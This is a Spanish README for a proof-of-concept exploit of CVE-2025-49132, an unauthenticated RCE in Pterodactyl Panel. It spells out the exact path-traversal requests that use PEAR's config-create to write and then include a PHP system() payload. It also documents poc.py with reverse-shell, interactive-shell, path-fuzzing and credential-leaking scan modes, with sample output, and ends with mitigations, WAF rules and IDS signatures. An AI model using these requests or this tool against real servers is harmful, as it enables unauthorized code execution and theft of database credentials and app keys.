
CVE-2025-49132_PHP_PEAR_METHOD
Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE-2025-49132, una vulnerabilidad crítica de ejecución remota de código no autenticada en Pterodactyl Panel en versiones anteriores a la 1.11.11.
Pterodactyl Panel es un panel gratuito y de código abierto para la gestión de servidores de juegos, desarrollado en PHP. La vulnerabilidad permite a un atacante no autenticado ejecutar comandos arbitrarios del sistema en el servidor objetivo mediante el manejo inadecuado del endpoint /locales/locale.json combinado con la funcionalidad pearcmd.php de PHP PEAR.
PHP PEAR (PHP Extension and Application Repository) es un framework y un sistema de distribución de componentes PHP reutilizables. Proporciona una herramienta de línea de comandos (pearcmd.php) que puede utilizarse para gestionar paquetes PEAR.
El archivo pearcmd.php procesa comandos a través de parámetros de URL y, cuando se combina con path traversal, puede aprovecharse para:
La vulnerabilidad existe porque:
locale en /locales/locale.json permite path traversal sin una validación adecuadapearcmd.php acepta el comando +config-create, que puede escribir archivos PHP arbitrariosUn atacante puede:
config-create para escribir código PHP malicioso en /tmpEl exploit funciona en dos etapas:
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com
Desglose:
+config-create+/ - Invoca la funcionalidad de creación de configuración de PEARlocale=../../../../../../usr/share/php/PEAR - Path traversal al directorio de PEARnamespace=pearcmd - Apunta al archivo pearcmd.php<?=system('id')?>+/tmp/payload.php - Payload PHP y archivo de destinoGET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com
Desglose:
locale=../../../../../../tmp - Path traversal al directorio /tmpnamespace=payload - Incluye y ejecuta payload.phpEl exploit requiere enviar caracteres especiales (<, >, ?, =) en la URL sin codificarlos. Si estos caracteres se codifican en la URL:
<?=system('id')?> se convierte en %3C%3F%3Dsystem%28%27id%27%29%3F%3Egraph TD
A[Attacker] -->|1. Path Traversal Request| B[locale.json]
B -->|2. Traverse to PEAR| C[pearcmd.php]
C -->|3. config-create Command| D[Write PHP Payload]
D -->|4. Create File| E[payload.php]
E -->|5. File Created| F[Server Filesystem]
A -->|6. Execution Request| G[locale.json]
G -->|7. Traverse to tmp| E
E -->|8. Include and Execute| H[PHP Interpreter]
H -->|9. System Command| I[Shell Command]
I -->|10. Command Output| A
style A fill:#ff6b6b
style B fill:#4ecdc4
style C fill:#ffe66d
style E fill:#ff6b6b
style H fill:#ff6b6b
style I fill:#ff6b6b
sequenceDiagram
participant Attacker
participant Web Server
participant PEAR
participant Filesystem
participant PHP Engine
Attacker->>Web Server: GET locale.json with config-create
Web Server->>PEAR: Path Traversal to pearcmd
PEAR->>Filesystem: Create payload.php
Filesystem-->>Attacker: 200 OK
Attacker->>Web Server: GET locale.json with payload namespace
Web Server->>Filesystem: Path Traversal to payload.php
Filesystem->>PHP Engine: Include payload
PHP Engine->>PHP Engine: Execute system command
PHP Engine-->>Attacker: Command Output RCE
requestsgit clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD
pip3 install -r requirements.txt
O manualmente:
pip3 install requests
python3 poc.py -H <target_host> -c "<command>"
# On attacker machine, start listener
nc -lvnp 4444
# Execute exploit with reverse shell
python3 poc.py -H <target_host> -r <your_ip>:4444
python3 poc.py -H <target_host> --shell
python3 poc.py -H <target_host> --fuzz
python3 poc.py -H <target_host> --scan
Comprueba CVE-2025-49132 mediante fugas de configuración (credenciales de base de datos, app key).
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"
python3 poc.py -H <target_host> -c "id" -v
Muestra el progreso detallado (creación del payload, ruta PEAR, estado de ejecución).
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
[-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]
optional arguments:
-h, --help show this help message and exit
-H HOST, --host HOST Target host (e.g., 192.168.1.100 or example.com)
-c COMMAND Command to execute on target system
-r REVERSE_SHELL Reverse shell (format: LHOST:LPORT)
--shell Interactive pseudo-shell mode
--fuzz Fuzz for PEAR installation paths
--scan Scan target for vulnerability (config leaks)
-p PEAR_PATH Custom PEAR path (default: /usr/share/php/PEAR)
-e ENDPOINT Vulnerable endpoint (default: /locales/locale.json)
--ssl Use HTTPS
--timeout TIMEOUT Request timeout in seconds (default: 10)
-v, --verbose Verbose progress output
$ python3 poc.py -H panel.pterodactyl.htb -c "id"
[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR
[+] Command Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Usa -v para obtener una salida verbosa (detalles del payload, ruta PEAR, etc.).
# Terminal 1: Start listener
$ nc -lvnp 4444
listening on [any] 4444 ...
# Terminal 2: Execute exploit
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[!] Make sure your listener is running: nc -lvnp 4444
# Terminal 1: Receive connection
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$
$ python3 poc.py -H panel.pterodactyl.htb --shell
shell> whoami
www-data
shell> pwd
/var/www/pterodactyl
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
$ python3 poc.py -H panel.pterodactyl.htb --fuzz
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[+] Found 3 potential PEAR installation(s):
/usr/share/php/PEAR
/usr/share/pear
/usr/local/lib/php/PEAR
[*] Use -p flag with one of these paths for exploitation
Usa -v para ver el progreso del fuzzing por ruta.
$ python3 poc.py -H panel.pterodactyl.htb --scan
╔══════════════════════════════════════╗
║ CVE-2025-49132 - Pterodactyl RCE ║
╚══════════════════════════════════════╝
[*] Scanning: http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] VULNERABLE - Database credentials leaked
Host: 127.0.0.1
Port: 3306
Database: panel
Username: pterodactyl
Password: ********
Connection: pterodactyl:********@127.0.0.1:3306/panel
[+] VULNERABLE - App configuration leaked
App Key: base64{...}
[!] SECURITY WARNING: APP_KEY exposed!
-------------------------------------------------------
[+] Target is VULNERABLE to CVE-2025-49132
Actualizar Pterodactyl Panel
cd /var/www/pterodactyl
php artisan p:upgrade
Actualiza a la versión 1.11.11 o posterior.
Deshabilitar el endpoint vulnerable (Solución temporal)
Añade lo siguiente a la configuración de tu servidor web:
Apache (.htaccess):
<Files "locale.json">
Order Allow,Deny
Deny from all
</Files>
Nginx:
location ~* /locales/locale\.json {
deny all;
return 403;
}
Nota: Esto romperá las funciones de localización.
Firewall de aplicación web (WAF)
Implementa reglas WAF para bloquear intentos de path traversal:
SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
locale y namespacerealpath() para resolver y validar las rutas de archivosAnálisis de registros (logs) - Busca patrones sospechosos:
# Apache/Nginx access logs
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log
# Look for payload files
find /tmp -name "payload.php" -o -name "*.php" -mtime -1
Firmas IDS/IPS:
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt";
content:"/locales/locale.json"; http_uri;
content:"pearcmd"; http_uri;
content:"config-create"; http_uri;
sid:1000001; rev:1;)
SOLO PARA FINES EDUCATIVOS Y PRUEBAS AUTORIZADAS
Este exploit de prueba de concepto se proporciona únicamente con fines educativos y para pruebas de seguridad autorizadas. El autor no asume ninguna responsabilidad por el mal uso o los daños causados por este programa.
El acceso no autorizado a sistemas informáticos es ilegal. Los usuarios son responsables de garantizar el cumplimiento de las leyes y regulaciones aplicables.
xffsec
| Contacto |
|---|
| GitHub: @xffsec |
| Correo electrónico: [email protected] |
Este proyecto está bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
¡Las contribuciones, los issues y las solicitudes de funciones son bienvenidos! No dudes en abrir un issue o enviar un pull request.
⚠️ Recuerda: Practica siempre la divulgación responsable y nunca explotes vulnerabilidades sin la autorización adecuada.